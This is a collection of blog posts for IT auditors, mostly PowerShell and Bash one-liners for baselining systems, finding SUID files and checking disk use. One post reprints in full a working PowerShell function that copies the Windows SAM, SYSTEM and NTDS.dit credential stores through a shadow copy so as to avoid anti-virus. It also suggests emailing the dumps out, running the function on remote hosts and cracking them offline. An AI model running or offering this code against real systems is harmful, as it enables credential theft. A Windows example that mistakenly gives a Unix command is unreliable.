Community PowerShell Security Audit Scripts

Back in December we posted a couple scripts that fellow auditors had pointed out to us that helped auditors dump Microsoft Windows file permissions to a CSV file for easier auditing. As a result of that post we’ve had feedback from a number of people that it would be helpful to see more of these scripts and even some suggestions for PowerShell audit scripts that we might want to share with others.

Two scripts immediately jumped out to us this past month as comprehensive PowerShell audit scripts that might help people who are auditing Microsoft Windows systems. These might inspire you to write your own script or maybe you just want to use these in the course of your audits. So we’ll share them here for you in the hopes that they make your life as an auditor easier.

The first script was posted to the Microsoft Script Center and was written to perform a comprehensive system audit of multiple machines that are detected in an Active Directory environment:

http://gallery.technet.microsoft.com/scriptcenter/Computer-Network-Audit-6593a48d

The second script we wanted to share was written by Alan Renouf and we especially liked this one because of the nicely formatted output after auditing a system:

http://poshcode.org/639

Both of these scripts illustrate the ideas we’ve been trying to teach people of automating your audit efforts. These are both good examples of what we hope you all are creating. If you do have further suggestions, please pass them along. You can email info@auditscripts.com if you have more resources you’d like us to share with the community.

Extracting Windows Passwords with PowerShell

Happy New Year! I hope everyone has had a great holiday season so far and is excited and ready for a new year full of auditing excitement! For the first post of the year I thought we would discuss a topic more for fun and something different in the hopes of inspiring you to spend a little more with PowerShell and scripting.

WARNING: Please do not attempt anything we’re about to discuss without clear permission from everyone and anyone you can think of. If you don’t have permission, don’t do it!! Anyways…

One problem auditors and penetration testers often have when auditing passwords is that most of the tools that are commonly used to extract passwords from a Windows system are viewed as malware by the anti-virus software installed on the system. Or if you have whitelisting software installed, then you are only able to execute the binaries approved in advance by management. But what if you want to rely on native tools and commands to do your assessment and you want to “live off the land”? That’s where Microsoft’s PowerShell comes in handy.

The folks at ObscureSecurity.com (http://www.obscuresecurity.blogspot.com/) contributed a function to the Microsoft Scripting Center called Get-PasswordFile. The idea of the script is to use native PowerShell functions to extract a local SAM database from a Microsoft Windows computer without causing damage to the underlying operating system or trigger an anti-virus alert. If you’re not sure what to do with a PowerShell function, here’s some advise you might want to read as well (http://www.mikepfeiffer.net/2010/06/how-to-add-functions-to-your-powershell-session/).

Here’s the code for their function:

function Get-PasswordFile { 
<# 
.SYNOPSIS 
 
    Copies either the SAM or NTDS.dit and system files to a specified directory. 
 
.PARAMETER DestinationPath 
 
    Specifies the directory to the location where the password files are to be copied. 
 
.OUTPUTS 
 
    None or an object representing the copied items. 
 
.EXAMPLE 
 
    Get-PasswordFile "c:\temp" 
 
#> 
 
    [CmdletBinding()] 
    Param 
    ( 
        [Parameter(Mandatory = $true, Position = 0)] 
        [ValidateScript({Test-Path $_ -PathType 'Container'})]  
        [ValidateNotNullOrEmpty()] 
        [String]  
        $DestinationPath      
    ) 
 
        #Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643 
        function Copy-RawItem 
        { 
 
        [CmdletBinding()] 
        [OutputType([System.IO.FileSystemInfo])] 
        Param ( 
            [Parameter(Mandatory = $True, Position = 0)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Path, 
 
            [Parameter(Mandatory = $True, Position = 1)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Destination, 
 
            [Switch] 
            $FailIfExists 
        ) 
 
        # Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() 
        $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} 
        $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') 
        $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))  
 
        # Perform the copy 
        $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) 
 
        $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 
 
        if ($CopyResult -eq $False -and $HResult -ne 0) 
        { 
            # An error occured. Display the Win32 error set by CopyFile 
            throw ( New-Object ComponentModel.Win32Exception ) 
        } 
        else 
        { 
            Write-Output (Get-ChildItem $Destination) 
        } 
    } 
  
    #Check for admin rights
    if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
    {
        Write-Error "Not running as admin. Run the script with elevated credentials"
        Return
    }
        
    #Get "vss" service startup type 
    $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode 
    if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} 
 
    #Get "vss" Service status and start it if not running 
    $VssStatus = (Get-Service vss).status  
    if ($VssStatus -ne "Running") {Start-Service vss} 
 
        #Check to see if we are on a DC 
        $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole 
        $IsDC = $False 
        if ($DomainRole -gt 3) { 
            $IsDC = $True 
            $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File" 
            $FileDrive = ($NTDSLocation).Substring(0,3) 
        } else {$FileDrive = $Env:HOMEDRIVE + '\'} 
     
        #Create a volume shadow filedrive 
        $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy" 
        $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") 
        $ReturnValue = $ShadowCopy.ReturnValue 
 
        if ($ReturnValue -ne 0) { 
            Write-Error "Shadow copy failed with a value of $ReturnValue" 
            Return 
        }  
     
        #Get the DeviceObject Address 
        $ShadowID = $ShadowCopy.ShadowID 
        $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject 
     
            #If not a DC, copy System and SAM to specified directory 
            if ($IsDC -ne $true) { 
 
                $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                #Utilizes Copy-RawItem from Matt Graeber 
                Copy-RawItem $SamPath "$DestinationPath\sam" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            } else { 
             
                #Else copy the NTDS.dit and system files to the specified directory             
                $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                Copy-RawItem $NTDSPath "$DestinationPath\ntds" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            }     
     
        #Return "vss" service to previous state 
        If ($VssStatus -eq "Stopped") {Stop-Service vss} 
        If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} 
}

Once you have the local SAM database from a computer the next step would be to examine the databases in your favorite password cracking tool offline, such as Cain from http://oxit.it.

In general those of you who know me know that I’m always a little hesitant to recommend that auditors especially consider password cracking at all. If an auditor chooses to run a script like this there should be a clear business reason for running the script, and should only be done with clearly documented management approval. But a script like this, downloading the SAM database from a local computer can still have quite a few benefits. Some of the controls an auditor might be able to test with this file are:

    Are only the appropriate user accounts on each local computer?
    Are any local user accounts using blank passwords?
    Are any local user accounts using the same password?
    Are any local user accounts using passwords that do not match the organization’s password policies?

So what else could we do with this script? From an automation and penetration testing perspective there’s all sorts of creative things we could do next. Just a few creative ideas you might consider:

    Automate the script to download the local SAM database
    Automate the script to encrypt the SAM and email it to the penetration tester
    Automate the script to run against multiple remote computers

There’s just all sorts of fun that a penetration tester or auditor could have with this tool if they really wanted to. Again, I hope this code is useful to you and your security efforts. To a great 2014!

Community PowerShell File Permission Audit Scripts

Often times as we talk with auditors or students in our classes audit scripts are brought to our attention that might be useful to people performing audits of various technical systems. Sometimes we write helpful scripts and when we do we’ll post them here for you to review. But sometimes we find the scripts and want to make you aware of them in case they help make your job easier.

This month we found two scripts that we think might help you out and both enable auditors of Microsoft Windows systems to use PowerShell to dump file system permissions to a CSV file so you can parse them in Excel or you favorite spreadsheet program.

The first script was written by John Milner, and he gives a full explanation of its capabilities here:

http://jfrmilner.wordpress.com/2011/05/01/audit-ntfs-permissions-powershell-script/

The second script was written by Roman Zarka and is a little more in depth. You can learn more about his audit script here:

http://blogs.technet.com/b/zarkatech/archive/2012/01/14/audit-file-server-permissions-using-powershell.aspx

If you have other favorites that you would like to share with the AuditScripts community, please don’t keep them to yourselves. Email us at info@auditscripts.com if you have other resources that you think would help your fellow auditors in their audit efforts.

Automating Audit Baselines – A Case Study

Quite a few times in this blog we’ve talked about automating audit and assessment tasks, especially as it relates to system baselines. We’ve tried quite a few times to give our readers tools for creating baselines and always hope that people will turn those baselines into automated processes that will alert them to deviations or changes to their systems.

Certainly one way to do this is via commercial products. Many companies have purchased file integrity assessment toolkits, such as those by Tripwire, in order to help automate this process. Others have turned to lower cost mechanisms such as scripting tools to do the same thing, although maybe not as elegantly.

In doing a little reading online at the Microsoft Script Center, I found a nice case study who decided to use scripting to accomplish their automation goals. Ben Wilkinson from Microsoft posted a series of blog articles where he describes the process of automating and alerting on changes to group memberships using Microsoft scripting technologies. Here’s a link to the full set of articles:

http://gallery.technet.microsoft.com/scriptcenter/655180ff-6236-4718-8dee-0f5b9b4a1f06

I think it’s worth highlighting and applauding efforts like this. If you aren’t already using an automated process like this to assist you with your continuous audit efforts, hopefully you can receive some inspiration from what Ben has posted here. Thanks Ben for the posts.

More PowerShell Audit One Liners

In our last couple posts we described how to gather a general baseline of system demographics on a Microsoft Windows system you’ve been tasked with auditing. Hopefully the posts gave everyone some ideas for the capabilities that PowerShell offers, even if the information we gathered isn’t all that exciting. In this post I thought we would show you additional examples you could try if you want to explore other pieces of information you might be able to gather with PowerShell and WMI during an audit.

Once you have the general syntax of these commands, even if you don’t fully understand the scripting behind it, you should be able to copy and paste these commands into an audit script. If you want a full library of the various WMI objects that Microsoft makes available or the attributes they return, check out this link over at Microsoft:

http://msdn.microsoft.com/en-us/library/aa394084(v=vs.85).aspx

So here are a few other examples of WMI queries that might be useful during an audit:

List the available IPv4 Address(es) from a system:

get-wmiobject Win32_NetworkAdapterConfiguration | fl Name,IPAddress

List the available IPv6 Address(es) from a system:

ifconfig -a | awk '/inet6 addr:/ { print $3 }'

List the available MAC Address(es) from a system:

get-wmiobject Win32_NetworkAdapterConfiguration | fl Name,MACAddress

List the User Accounts on a system:

get-wmiobject Win32_UserAccount | ft Name,SID

List the Groups on a system:

get-wmiobject Win32_Group | ft Name,SID

I hope these help to inspire you to try out scripting in your audits and maybe even consider writing a few audit scripts of your own.

Using SystemInfo.exe to Baseline a System

After our last post on gathering system demographics using PowerShell (specifically the Get-Object cmdlet) we had a few auditors mention to us that there are other ways to do it as well. We couldn’t agree more and we’re glad they brought it up. Microsoft seems to like to give us choices for how we perform job tasks, and this is no exception.

One other very popular way to gather information from a Microsoft Windows system is through the built-in systeminfo.exe utility. This command has been available at the command line since Microsoft Windows XP, and so in the course of an audit you’re very likely to find this command native on any Windows system you happen to be auditing.

One of the other nice things about this command is the fact that it is very, very simple to run. Simply type the name of the binary into a cmd.exe or powershell.exe terminal window and the tool will query information about the underlying system you’re examining.

There aren’t many options or command line switches that you can use to customize the output, but there are a few. Microsoft documents all of the options you do have at http://technet.microsoft.com/en-us/library/bb491007.aspx. From that same article, here are the options that they make available to you:

[framed_box]/s Computer : Specifies the name or IP address of a remote computer (do not use backslashes). The default is the local computer.
/u Domain \ User : Runs the command with the account permissions of the user specified by User or Domain\User. The default is the permissions of the current logged on user on the computer issuing the command.
/p Password : Specifies the password of the user account that is specified in the /u parameter.
/fo { TABLE | LIST | CSV } : Specifies the format to use for the output. Valid values are TABLE, LIST, and CSV. The default format for output is LIST.
/nh : Suppresses column headers in the output. Valid when the /fo parameter is set to TABLE or CSV.
/? : Displays help at the command prompt[/framed_box]

So a few of the nice features you can see from the utility already is the ability to run the command against remote computers, the ability to specify the output format of the data (including CSV format), and even the ability to suppress the headers in a CSV file to make it easier to parse later.

So if you haven’t tried this utility as a part of your baselining efforts yet, we definitely would recommend that you check it out. It’s another one of those nice auditing goodies Microsoft has built into the operating system for us.

PowerShell Audit One Liners

Over our last few posts we’ve talked a lot about using Unix BASH scripting to audit Unix systems. But we certainly don’t want our Windows friends to feel left out. The more I talk with people and listen to their security challenges, the more interest I hear about how to use PowerShell for audit or security purposes. Who knows, maybe it’s your New Year’s resolution to learn PowerShell this year and integrate it more into your audit activities. Well if it is, maybe we can help to inspire you and get you started on the right foot.

Just like last month, we thought we would post scripting one liners that you can use to query information about a system you’re auditing. These one liners also work very nice in incident response scenarios as well if you find your self in that situation.

For consistency’s sake, I’ll start by following the same script we used on Unix the last few months. As a first step, what commands might someone issue in order to gather general demographic information about a Windows system they’re auditing using PowerShell. Here’s a few to get started:

Display the name of the system:

(get-wmiobject win32_computersystem).Name

Display the domain name of the system:

(get-wmiobject win32_computersystem).Domain

Display the CPU installed in the sytem:

(get-wmiobject win32_processor).Name

Display the CPU speed of the installed CPU:

(get-wmiobject win32_processor).MaxClockSpeed

Display the installed physical memory:

(get-wmiobject Win32_ComputerSystem).TotalPhysicalMemory / 1GB

Display the available memory on the system:

(get-wmiobject Win32_OperatingSystem).FreePhysicalMemory / 1GB

In all these cases so far we’re using the Get-WMIObject cmdlet in PowerShell to gather general demographic information. The nice thing about running each of these commands in PowerShell is that you can easily place them all into one script and you aren’t dependent on any OS specific or version specific binaries being present on the system. As long as PowerShell is available on the system (which certainly most all Windows boxes should have it by now), you’re able to use these commands.
We’ll post more ideas to add to your scripts later, but hopefully scripting is on your list of things to learn this year and we can give you a little shove in the right direction.

Audit Script to Detect Unix Operating System

In the last few blog entries we have been focusing quite a bit on displaying information from a Unix system via a BASH script. One question that’s come up by quite a few people is, do these commands work on all Unix system? That’s a very valid question.

It turns out that one of my favorite sayings about Unix is that “Unix systems are always the same, they’re just different.” In other words – most Unix flavors share all sorts of similarities. The problem is that there are often very subtle differences between flavors of systems that make it difficult to write one script that will work on all systems. Basically when writing an audit script you have to decide, do you write one script for all flavors and sacrifice on which commands you run to make it consistent, write multiple scripts (one per flavor of Unix), or do you try to do OS detection within your script.

If you decide to do OS detection, I know there are multiple ways to do it. But here is some basic code that we have used in the past in a BASH script to detect which operating system or flavor of Unix is running on a system:

if [ -f /etc/debian_version ]; then
OS="Debian"
VER=$(cat /etc/debian_version)

elif [ -f /etc/redhat-release ]; then
OS="Red Hat"
VER=$(cat /etc/redhat-release)

elif [ -f /etc/SuSE-release ]; then
OS="SuSE"
VER=$(cat /etc/SuSE-release)

else
OS=$(uname -s)
VER=$(uname -r)
fi

echo "Operating System Name: $OS"
echo "Operating System Version: $VER"

Like I said, this likely won’t work on all flavors, you’ll need to test it out on your favorite to make sure it works. In fact if you have suggestions to improve it, please submit them to info@auditsctipts.com and we’d be happy to update ours too. Happy scripting!

Unix Audit Script for Disk Utilization

We’ve noticed an issue on some of our Unix servers lately. This may not be completely security related (unless of course we’re talking about the availability of a system). We have noticed on quite a few occurrences lately that the disk space on our Unix servers has started to grow out of control to the point where the availability of the system was at risk. Sometimes this happens because of log files that grow too large, databases grow larger than expected, or backups don’t rotate like we planned. But in any case the result is the same – disk drives start filling up to the point where there isn’t much disk space left.

So a while ago we implemented a few BASH scripts to check for free disk space and then report that disk utilization to the help desk on a regular, automated basis. Using the following simple Unix shell commands, we started reporting on the disk utilization for each of our systems.

Information on the installed physical disks on a system:

fdisk -l | head -2 | grep Disk

Information on the installed physical partitions on a system:

fdisk -l | tail -8 | awk '/dev/ { print $1 " " $5 " " $7 }'

Information on the available free disk space on a system:

df -h | awk '{if ($1 != "Filesystem" && $1 != "none") print $1 " " $5}'

Now, if you want to automated these scripts, I would recommend using the Cron or Anacron services to run these commands on a daily or weekly basis. For the reporting side, I really like the tool “SendEmail” for Unix and Windows systems to generate the email. But certainly that’s just a matter of preference.

You might also consider adding these commands to your Unix baseline script. That way during a baseline activity or during an audit you can gather info on disk utilization as well.

More Unix Audit Script One Liners

In our last post we gave some examples of Unix audit script one liners for baselining information from a Unix system. It turns out there are more people than we thought who are interested in this topic and are looking to include commands like these in their scripts. We definitely appreciate everyone’s enthusiasm and decided to post more commands in an effort to help you with your scripts.

So here are a few more Unix audit script one liners for you to try. Enjoy!

List the available IPv4 Address(es) from a system:

ifconfig -a | awk '/inet addr:/ { print $2 }' | cut -d: -f2

List the available IPv6 Address(es) from a system:

ifconfig -a | awk '/inet6 addr:/ { print $3 }'

List the available MAC Address(es) from a system:

ifconfig -a | awk '/Ether/ { print $5 }'

Find all SUID files on a Unix system:

find  / -ignore_readdir_race -perm 04000

Find all GUID files on a Unix system:

find  / -ignore_readdir_race -perm 02000

Find all Sticky files on a Unix system:

find  / -ignore_readdir_race -perm 01000

Again, we would strongly recommend scheduling your scripts and creating automated alerts via email alert functions and your help desk software. It will help keep you honest and track your progress.

Another fun idea that one of our clients suggested was to create your script and then execute it at the conclusion of every vulnerability scan that you run. It turns out most vulnerability scanners give you the ability to execute a script at the conclusion of your scan, your audit script could be what you execute. If you really want to get fancy, you could even centralize your output files via SSH to a central server so you, auditors, or sysadmins could review the results at will.